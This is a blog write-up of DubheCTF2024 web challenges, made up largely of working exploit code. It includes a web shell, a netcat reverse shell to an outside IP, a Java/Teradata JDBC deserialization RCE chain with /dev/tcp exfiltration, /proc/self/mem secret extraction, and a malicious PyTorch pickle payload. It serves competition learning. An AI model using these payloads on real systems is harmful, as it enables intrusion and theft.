MysidBlog
主页 友链 关于

DubheCTF2024复现

LastUpdate: 2024-04-02

前言

这个比赛不知道为什么就喜欢用 PoW 开题,不过题目都出的挺好的,而且难度从简单到难都有覆盖。

Wecat

开环境的PoW脚本:

import hashlib
import string
import itertools
from pwn import remote


def proof_of_work(nonce, difficulty, salt_charset=string.ascii_letters + string.digits):
    nonce_byte = nonce.encode()
    expected_prefix = "0" * difficulty
    for salt in itertools.chain.from_iterable(map(bytes, itertools.product(salt_charset.encode(), repeat=i))for i in itertools.count(1)):if hashlib.sha256(nonce_byte + salt).hexdigest().startswith(expected_prefix):return salt

    raise ValueError("No solution found")


r = remote("1.95.54.149", 1337)

welcome_msg = r.recvuntil(b"== True").decode()print(welcome_msg)

nonce = welcome_msg.split("'")[1]
difficulty = 5

salt = proof_of_work(nonce, difficulty)print(f"Salt: {salt.decode()}")

r.sendline(salt)print("Entering interactive mode...")
r.interactive()

 

有上传头像图片接口,由于配置是js dev nodemon热加载所以直接尝试写web shell

const router = require('@koa/router')()
const child_process = require('child_process')

router.get('/mysid', (ctx) => {
    var flag = child_process.execFileSync("/readflag").toString()
    ctx.status = 200
    ctx.body = {
        msg: flag
    }
})

module.exports = router.routes()

 

Master of Profile

开题PoW脚本:

import hashlib
import string
import itertools
import string
from pwn import *

def proof_of_work(repeat, hash):
    combinations = itertools.product(string.ascii_letters, repeat=repeat)
    for combination in combinations:
        res = "".join(combination)
        if (hashlib.sha256(("Welcome to DubheCTF! POW is: " + res).encode()).hexdigest() == hash):
            return res

def p(hash):
    return proof_of_work(5,hash)

io = remote("1.95.13.243",1337)
hash = io.recvuntil(b"Timeout: 60s").split(b" = ")[1].replace(b'Timeout: 60s',b'').strip().decode()
print(hash)
pow = p(hash)
print(pow)
io.sendline(pow)
info = io.recvuntil(b'======================================')
print(info.decode())
port = re.findall(r'Your port: (\d+)',info.decode())[0]
port = int(port)
print(port)

 

源码https://github.com/tindy2013/subconverter/blob/master/src/main.cpp

题目的描述是subconverter 0day,虽然是C++项目但是和语言没啥关系,利用过程类似这两篇文章https://cn-sec.com/archives/2105254.htmlhttps://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03

/getlocal?path=./pref.yml从配置可以读到token,另外enable_cache: false禁止生成缓存。

common: 
    api_mode: false 
    api_access_token: "189069462103782304169366230" 
    default_url: [] 
    enable_insert: true 1 2 3 4 5 
    insert_url: [] 
    prepend_insert_url: true 

advanced: 
    log_level: info 
    print_debug_info: false 
    max_pending_connections: 10240 
    max_concurrent_threads: 2 
    max_allowed_rulesets: 0 
    max_allowed_rules: 0 
    max_allowed_download_size: 0 
    enable_cache: false 
    cache_subscription: 60 
    cache_config: 300 
    cache_ruleset: 21600 
    script_clean_context: true 
    async_fetch_ruleset: false 
    skip_failed_links: false 

 

然后在源码中找到updateconf接口可以上传文件。

webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
        if(!global.accessToken.empty())
        {
            std::string token = getUrlArg(request.argument, "token");
            if(token != global.accessToken)
            {
                response.status_code = 403;
                return "Forbidden\n";
            }
        }
        std::string type = getUrlArg(request.argument, "type");
        if(type == "form")
            fileWrite(global.prefPath, getFormData(request.postdata), true);
        else if(type == "direct")
            fileWrite(global.prefPath, request.postdata, true);
        else
        {
            response.status_code = 501;
            return "Not Implemented\n";
        }

        readConf();
        if(!global.updateRulesetOnRequest)
            refreshRulesets(global.customRulesets, global.rulesetsContent);
        return "done\n";
    });

 

上传后可以在cache里找到对应的缓存文件/convert?url=cache/7bcd6cb5eb2b33a88b,缓存文件名md5值,接着就可以弹shell了/sub?target=clash&url=script:cache/7bcd6cb5eb2b33a88b,1&token=189069462103782304169366230

function parse(x) {
    console.log("success");
    os.exec(["/usr/bin/nc", "119.1.208.190", "4000", "-e", "/bin/sh"]);
}

 

Javolution

涉及整数溢出、反序列化TeraData RCE。

帕鲁背景,要求先打败空涡龙升到50级,有修改数值接口可以整数溢出/pal/cheat?hp=1&attack=-2147483648&defense=-2147483648

然后host限制可以用::FFFF:127.0.0.1%dubhe绕过。

 @PostMapping({"/cheat"})
    public String cheatPlus(String host, String data) {
    String secretKey = "dubhe";
    if (this.palService.getPlayer().getLevel() >= 50 && host != null) {
        boolean local;
        try {
        InetAddress address = InetAddress.getByName(host);
        local = address.isLoopbackAddress();
        } catch (Exception e) {
        return "Bad Host!";
        } 
        if (local && host.contains(secretKey)) {
        this.palService.genPal(data);
        return "You are now invincible !";
        } 
        return "Only localhost is allowed to cheat !";
    } 
    return "You are too young to cheat !";
    }
}

 

接下来就是考虑如何反序列化RCE,环境使用的是jdk17。

 <properties>
    <java.version>17</java.version>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
    <spring-boot.version>2.7.6</spring-boot.version>
</properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>com.teradata.jdbc</groupId>
            <artifactId>terajdbc</artifactId>
            <version>20.00.00.16</version>
        </dependency>
    </dependencies>
public class PalDataSource extends TeraDataSource {
    public Connection getConnection(String username, String password) throws SQLException {
    setDatabaseName("palworld");
    setDescription("PalWorld Database");
    setServerName("ctf");
    setLoginTimeout(3);
    setDSName("127.0.0.1");
    return super.getConnection(username, password);
    }
    
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
    return null;
    }
}

 

参考略师傅的https://github.com/luelueking/Deserial_Sink_With_JDBC

主要调用链:hashMap#equals -> XString#equals -> POJONode#toString -> PalDataSource#getConnection

import com.fasterxml.jackson.databind.node.POJONode;
import com.teradata.jdbc.TeraConnectionPoolDataSource;
import com.teradata.jdbc.TeraDataSource;
import com.teradata.jdbc.TeraDataSourceBase;
import com.teradata.jdbc.TeraPooledConnection;
import org.assertj.core.util.xml.XmlStringPrettyFormatter;
import org.dubhe.javolution.pool.PalDataSource;
import org.mockito.internal.matchers.Equals;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.util.*;

public class exp {
    public static void main(String[] args) throws Exception {
//        com.sun.org.apache.xpath.internal.objects.XString
                // --add-opens java.xml/com.sun.org.apache.xpath.internal=ALL-UNNAMED
        final ArrayList<Class> classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        classes.add(Class.forName("java.util.HashMap"));
        classes.add(Class.forName("java.util.Properties"));
        classes.add(Class.forName("java.util.PriorityQueue"));
        classes.add(Class.forName("com.teradata.jdbc.TeraDataSource"));
        classes.add(Class.forName("javax.management.BadAttributeValueExpException"));
        classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString"));
        classes.add(Class.forName("java.util.HashMap$Node"));
        classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode"));
//        classes.add(Class.forName("java.xml.*"));

        new exp().bypassModule(classes);

        TeraDataSource dataSource = new PalDataSource();
        dataSource.setBROWSER("bash -c /readflag>&/dev/tcp/your_vps_ip/4000");
        dataSource.setLOGMECH("BROWSER");
        dataSource.setDSName("8.134.216.221");
        dataSource.setDbsPort("10250");

        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = dataSource.getClass().getModule();
        Class currentClass = PriorityQueue.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);

        Class<?> clazz =
                Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(dataSource);
        InvocationHandler handler = (InvocationHandler)
                cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]
                {DataSource.class}, handler);
        POJONode pojoNode = new POJONode(proxyObj);

//        POJONode pojoNode = new POJONode(dataSource);
//        pojoNode.toString();

        // com.sun.org.apache.xpath.internal.objects
        Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
        Constructor constructor = cls.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        Object xString = constructor.newInstance("1");

        HashMap hashMap = makeMap(xString,pojoNode);

        serialize(hashMap);
//        unserialize("ser.bin");

    }
    public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);

        HashMap<Object, Object> s = new HashMap<>();
        setFiledValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFiledValue(s, "table", tbl);

        return s;
    }
    public static void setFiledValue(Object obj, String key, Object val) throws Exception {
        Field field ;
        try{
            field = obj.getClass().getDeclaredField(key);
        }catch(Exception e){
            if (obj.getClass().getSuperclass() != null)
                field = obj.getClass().getSuperclass().getDeclaredField(key);
            else {
                return;
            }
        }
        field.setAccessible(true);
        field.set(obj,val);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
    }

    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                        unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static Method getMethod(Class clazz, String methodName, Class[] params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
}

参考论文https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf

接下来在vps上伪造一个Teradata Server和靶机建立连接,欺骗客户端认为OIDC已经配置好了然后执行SSO命令RCE。

"""
返回验证成功握手数据,欺骗客户端认为OIDC已经启用然后去获取配置
"""

import asyncore
import logging
import socket
import struct

config_url="http://your_vps_ip:4100/m"

class teradata_request_handler(asyncore.dispatcher_with_send):

    def __init__(self, sock, addr, url):
        asyncore.dispatcher_with_send.__init__(self, sock=sock)
        self.addr = addr
        self.packet_to_send = bytes.fromhex('03020a0000070000')+struct.pack(">H",len(url)+899)+bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+struct.pack(">H",len(url)+87)+bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+struct.pack(">H",len(url)+11)+bytes.fromhex('000372636500')+struct.pack("B",len(url))+url.encode("ascii")+bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a')
        self.ibuffer = []

    def handle_read(self):
        data = self.recv(8192)
        if data:
            logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
            logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
            self.send(self.packet_to_send)

class TeradataServer(asyncore.dispatcher):
    def __init__(self, host, port):
        asyncore.dispatcher.__init__(self)
        self.create_socket()
        self.set_reuse_addr()
        self.bind((host, port))
        self.listen(5)
        logging.info(f'Server running on {host}:{port}')
    def handle_accept(self):
        pair = self.accept()
        if pair is not None:
            sock, addr = pair
            handler = teradata_request_handler(sock, addr, config_url)

if __name__ == '__main__':
    logging.basicConfig(level=logging.INFO)
    server = TeradataServer('0.0.0.0', 10250)
    asyncore.loop()
"""
返回配置通过OIDC验证,执行setBROWSER的命令
"""

from flask import Flask
import json

app = Flask(__name__)

@app.route("/m")
@app.route("/m/.well-known/openid-configuration")
def h():
    dddata={
        "authorization_endpoint":"mysid",
        "token_endpoint":"vidar"
    }
    return json.dumps(dddata)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0',port=4100)
#等待靶机执行bash -c /readflag>&/dev/tcp/your_vps_ip/4000
nc -lvp 4000

 

VulnTagger

涉及内存泄露、身份伪造、python内存马、pickle发序列化漏洞。

存在目录遍历漏洞,结合题目给出的版本管理提示查看/static%2f..%2f..%2f..%2f.git%2fHEAD,可以使用githacker dump源码https://github.com/WangYihang/GitHacker

网站提供ai图像识别,审计源码发现admin可以上传module,尝试伪造admin。

PASSWORD_SALT = "subscribe_taffy_thanks_meow!"
SALTED_PASSWORD = environ.get("SALTED_PASSWORD", "")

CredentialsDep = Annotated[
    HTTPBasicCredentials | None,
    Depends(HTTPBasic(auto_error=False)),
]

def authorization_middleware(credentials: CredentialsDep):
    if not SALTED_PASSWORD:
        logger.warning(
            "SALTED_PASSWORD not set, you will not be able to access admin page"
        )

    if credentials is not None and (
        compare_digest(credentials.username, "admin")
        and compare_digest(
            hashlib.sha256(
                f"{PASSWORD_SALT}{credentials.password}{PASSWORD_SALT}".encode()
            ).hexdigest(),
            SALTED_PASSWORD,
        )
    ):
        app.storage.browser["is_admin"] = True
    is_admin = app.storage.browser.get("is_admin", False)
    if not is_admin:
        raise HTTPException(
            status_code=401,
            detail="Unauthorized",
            headers={"WWW-Authenticate": "Basic"},
        )
    return is_admin

 

一种方法是尝试读SALTED_PASSWORD,然后爆破密码,但是这个方法是行不通的,因为实际上SALTED_PASSWORD是空字符串登录不了的(

第二种方法是伪造is_admin=true,类似伪造JWT。

ui.run(
    host=environ.get("HOST"),
    port=int(environ.get("PORT", 8080)),
    title="VulnTagger",
    storage_secret=secrets.token_urlsafe(16),
    show=False,
    uvicorn_logging_level="info",
    log_config={
        "version": 1,
        "disable_existing_loggers": False,
        "handlers": {
            "console": {
                "class": "rich.logging.RichHandler",
                "formatter": "console",
            },
        },
        "formatters": {
            "console": {
                "format": "%(message)s",
            },
        },
        "root": {
            "level": "DEBUG",
            "handlers": ["console"],
        },
    },
    access_log=True,
)

 

签名的storage_secret是一个22位由大小写字母、数字和-_组成的字符串,接下来就是尝试从/proc/self/mem里读取到storage_secret。

"""
提取进程的内存映射信息
实例:
MemoryMapping(addr_start='00400000', addr_end='0041f000', perms='r--p', offset='00000000', dev='103:02', inode='56125009', pathname='/usr/bin/python3.11')
"""
import re
from dataclasses import dataclass
from typing import List

@dataclass
class MemoryMapping:
    addr_start: str
    addr_end: str
    perms: str
    offset: str
    dev: str
    inode: str
    pathname: str = None

def parse_proc_maps(maps:str) -> List[MemoryMapping]:
    lines = maps.splitlines()

    mappings = []
    for line in lines:
        # regex to match the different parts of a line
        match = re.match(r'([0-9a-f]+)-([0-9a-f]+) (\S+) ([0-9a-f]+) (\S+):(\S+) (\d+)(?: *(.*))?', line)
        if match:
            groups = match.groups()
            mapping = MemoryMapping(
                addr_start=groups[0],
                addr_end=groups[1],
                perms=groups[2],
                offset=groups[3],
                dev=groups[4] + ':' + groups[5],
                inode=groups[6],
                pathname=groups[7].strip() if groups[7] else None
            )

            mappings.append(mapping)

    return mappings
    
        
"""
发包分块读取mem
"""
import requests
from time import sleep
import urllib.request
import re
import socket
import time
from maps_parser import parse_proc_maps

url = "/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/mem"
maps = "http://1.95.11.7:40721/static%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/maps"


r = requests.get(maps)
print(r.text)
maps_parsed = parse_proc_maps(r.text)

import os
os.makedirs("./out",exist_ok=True)
os.system("rm out/*")

def read(start_mem_int,end_mem_int):
    with socket.create_connection(("1.95.11.7", 40721)) as sock:
        request = f"GET {url} HTTP/1.1\r\nHost: 1.95.11.7:40721\r\nUpgrade-Insecure-Requests: 1\r\nRange: bytes={start_mem_int}-{end_mem_int}\r\nConnection: close\r\n\r\n"
        sock.sendall(request.encode())
        response = b''
        while t:=sock.recv(8192):
            response+=t

        assert  b'title>VulnTagger</title' not in response
        return response.split(b"\r\n\r\n",1)[1]

for item in maps_parsed:

    if item.pathname != None: continue
    if item.perms != "rw-p":continue
    start_mem_int,end_mem_int = int(item.addr_start,16),int(item.addr_end,16)
    size = end_mem_int - start_mem_int
    if size >= 10*1024*1024: continue
    print(item.addr_start,item.addr_end,item.perms,size,size/1024/1024,"MB")
    filename = f'{item.addr_start}_{item.addr_end}_{str(item.pathname)}'.replace("/","_")
    print(filename)
    outfile = os.path.join("./out",filename)
    with open(outfile,"wb") as outfile:
        outfile.write(read(start_mem_int,end_mem_int))
        
        
"""
对结果进一步处理提取storage_secret
"""
#filter_strings.py
import string
import os
b64charset = string.ascii_letters + string.digits + "_-"
def isbase64safe(str):
    return all(x in b64charset for x in str)

os.system('strings -n 22 out/* > /tmp/strings.txt')

with open("./false_positives.txt") as f:
    false_positives = f.readlines()
false_positives = list(x.strip() for x in false_positives)

result = set()
with open("/tmp/strings.txt","r") as file:
    for line in file:
        l = line[:-1]
        if len(l) == 22 and isbase64safe(l):
            if l not in false_positives:
                result.add(l)

for item in result:
    print(item)

 

然后在本地跑nicegui就可以伪造admin session。

"""
nicegui_Sever
"""
from nicegui import ui
from nicegui import app

@ui.page('/mysid')
def evil_page():
    app.storage.browser["is_admin"] = True
    ui.label('Welcome mysid')
ui.link('mysid', evil_page)

import sys
secret_token=sys.argv[1]
ui.run(port=8082,storage_secret=secret_token,show=False)


"""
获取admin cookie
"""
import subprocess
import sys
secret_token=sys.argv[1]

p = subprocess.Popen(["python3","nicegui_Sever.py",secret_token])
import time
time.sleep(5)

import requests
resp = requests.get("http://127.0.0.1:8082/mysid")
print(resp.cookies)
p.terminate()

 

接下来就是上传module文件,其中包含序列化数据,torch.load()会进行反序列化存在漏洞,但是这里还要通过一个bot的pow。

@catch_exception
def validate(difficulty: int = 4, token: str | None = None):
    resp = client.post(
        "/",
        headers={
            "x-pow-token": (token := token or token_urlsafe()),
            "x-pow-difficulty": str(difficulty),
        },
    )
    if resp.status_code != 418:
        logger.debug("Failed to validate with status code %d", resp.status_code)
        return False
    try:
        data: str = resp.json()["bar"]
    except Exception:
        logger.debug("Failed to validate with invalid JSON")
        return False

    return (
        hashlib.sha256(token.encode() + data.encode())
        .hexdigest()
        .startswith("0" * difficulty)
    )

def main():
    difficulty = 4
    while True:
        if validate(difficulty):  # noqa: SIM102
            if all(validate(difficulty) for _ in range(difficulty)):
                break
        logger.info("Failed to validate with difficulty %d", difficulty)
        time.sleep(10)
    logger.info("Successfully validated with difficulty %d", difficulty)

    with subprocess.Popen(["/readflag"], stdout=subprocess.PIPE) as proc:
        assert proc.stdout is not None
        for line in proc.stdout:
            flag = line.decode().strip()
            validate(difficulty, flag)
    logger.info("Flag submitted")

 

构造内存马:

"""
生成包含序列化middleware数据的module
"""
from pathlib import Path
import torch
import torchvision.models as models
from fickling.pytorch import PyTorchModelWrapper

model = models.mobilenet_v2()
torch.save(model, "exp.pth")
result = PyTorchModelWrapper(Path("exp.pth"))

payload = open("./pass_bot.py").read()
result.inject_payload(
    payload,
    Path("temp.pt"),
    injection="insertion",
    overwrite=True,)

from pathlib import Path

import torch
import torchvision.models as models
from fickling.pytorch import PyTorchModelWrapper

model = models.mobilenet_v2()
torch.save(model, "exp.pth")
result = PyTorchModelWrapper(Path("exp.pth"))

payload = open("./pass_bot.py").read()
result.inject_payload(
    payload,
    Path("temp.pt"),
    injection="insertion",
    overwrite=True,)
#pass_bot.py
"""
计算pow的middleware
"""

import hashlib
from logging import getLogger
from nicegui import app
from fastapi import Request,Response
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
import urllib
import string
import json
import itertools

app.middleware_stack = None
@app.middleware("http")async 
def add_process_time_header(request: Request, call_next):
    def proof_of_work(difficulty, token):
        import hashlib
        from logging import getLogger
        from nicegui import app
        from fastapi import Request,Response
        from starlette.middleware import Middleware
        from starlette.middleware.base import BaseHTTPMiddleware
        import urllib
        import string
        import json
        import itertools
        combinations = itertools.product(string.ascii_letters, repeat=5)
        for combination in combinations:
            res = "".join(combination)
            if (hashlib.sha256((token + res).encode()).hexdigest().startswith("0"*difficulty)):
                return res
                
    import hashlib
    from logging import getLogger
    from nicegui import app
    from fastapi import Request,Response
    from starlette.middleware import Middleware
    from starlette.middleware.base import BaseHTTPMiddleware
    import urllib
    import string
    import json
    import itertools
    logger = getLogger("mysid")
    response = await call_next(request)
    x_pow_token = request.headers.get("x-pow-token")
    x_pow_difficulty = request.headers.get("x-pow-difficulty")
    
    if x_pow_token and x_pow_difficulty:
        try:
            with urllib.request.urlopen("http://webhook?flag="+x_pow_token) as response:
                pass
        except:
            pass
        logger.warning("pow: %s %s" %(x_pow_difficulty,x_pow_token))
        pow = proof_of_work(int(x_pow_difficulty),x_pow_token)
        logger.warning("calculated pow:%s"%pow)
        return Response(json.dumps({"bar":pow}),418)
    return response

上传module后在主页选择你上传的module就会调用torch.load()反序列化注入middleware,然后bot通过pow验证把flag发送到webhook上。

 

Tagebuch

涉及CSS注入、CSP绕过、XSS。

源码+官方wp:https://github.com/mix-archive/Tagebuch

flag在cookie里XSS的话就有办法拿到flag,关键在于使用了CSP策略禁止了没有nonce的js脚本运行,首先了解CSS注入https://dummykitty.github.io/css/2023/12/12/CSS-injection.html,思路是利用CSS注入窃取nonce然后XSS拿flag,利用过程官方wp写的十分详细可以学一手。